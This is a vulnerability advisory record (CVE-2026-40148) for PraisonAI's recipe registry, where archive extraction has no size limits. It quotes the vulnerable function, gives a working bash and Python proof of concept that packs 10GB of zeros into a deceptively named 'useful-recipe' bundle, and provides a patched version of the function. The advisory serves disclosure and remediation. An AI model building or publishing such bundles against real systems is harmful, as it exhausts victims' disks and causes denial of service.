{"id":"CVE-2026-40148","aliases":["GHSA-f2h6-7xfr-xm8w","PYSEC-2026-2912"],"title":"PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits","summary":"PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.5.128"],"patched":["praisonai 4.5.128"],"published":"2026-04-10","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-f2h6-7xfr-xm8w","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f2h6-7xfr-xm8w"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40148"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"}],"tags":["osv","pip"],"epss":0.00243,"epssPercentile":0.15736,"ingestedAt":"2026-07-13T18:57:56.990Z","slug":"CVE-2026-40148","body":"## Overview\n\n## Summary\n\nThe `_safe_extractall()` function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`.\n\n## Details\n\nThe vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n    dest_resolved = dest_dir.resolve()\n    for member in tar.getmembers():\n        member_path = Path(member.name)\n        # Reject absolute paths\n        if member_path.is_absolute():\n            raise RegistryError(...)\n        # Reject '..' components\n        if '..' in member_path.parts:\n            raise RegistryError(...)\n        # Reject resolved paths escaping dest_dir\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(...)\n    # All members validated — safe to extract\n    tar.extractall(dest_dir)  # <-- No size limit\n```\n\nThe function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read.\n\nThis function is called from two locations:\n- `LocalRegistry.pull()` at line 396-397\n- `HttpRegistry.pull()` at line 791-792\n\nThe `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`.\n\nNo size limits, upload quotas, or decompression guards exist anywhere in the registry module.\n\n## PoC\n\n```bash\n# Step 1: Create a malicious recipe bundle\nmkdir bomb && cd bomb\n\ncat > manifest.json << 'EOF'\n{\"name\": \"useful-recipe\", \"version\": \"1.0.0\", \"description\": \"Helpful AI recipe\", \"tags\": [\"ai\"], \"files\": [\"agent.yaml\"]}\nEOF\n\n# Create a 10GB file of zeros (compresses to ~10MB with gzip)\ndd if=/dev/zero of=agent.yaml bs=1M count=10240\n\n# Bundle it as a .praison file\ntar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml\ncd ..\n\n# Step 2: Publish to local registry (~10MB stored)\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.publish('useful-recipe-1.0.0.praison')\n\"\n\n# Step 3: Victim pulls — extracts 10GB to disk\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.pull('useful-recipe')\n\"\n# Result: 10GB+ written to disk, potential disk exhaustion\n```\n\n## Impact\n\n- **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system.\n- **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls.\n- **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user.\n\n## Recommended Fix\n\nAdd a maximum extraction size limit to `_safe_extractall()`:\n\n```python\nMAX_EXTRACT_SIZE = 500 * 1024 * 1024  # 500MB\nMAX_MEMBER_COUNT = 1000\n\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n    dest_resolved = dest_dir.resolve()\n    members = tar.getmembers()\n    \n    if len(members) > MAX_MEMBER_COUNT:\n        raise RegistryError(\n            f\"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})\"\n        )\n    \n    total_size = 0\n    for member in members:\n        member_path = Path(member.name)\n        if member_path.is_absolute():\n            raise RegistryError(\n                f\"Refusing to extract absolute path in archive: {member.name}\"\n            )\n        if '..' in member_path.parts:\n            raise RegistryError(\n                f\"Refusing to extract path traversal in archive: {member.name}\"\n            )\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(\n                f\"Refusing to extract path escaping target directory: {member.name}\"\n            )\n        total_size += member.size\n        if total_size > MAX_EXTRACT_SIZE:\n            raise RegistryError(\n                f\"Archive extraction would exceed size limit \"\n                f\"({total_size} > {MAX_EXTRACT_SIZE} bytes)\"\n            )\n    tar.extractall(dest_dir)\n```\n\n## Affected packages\n\n- `praisonai < 4.5.128`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.5.128`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}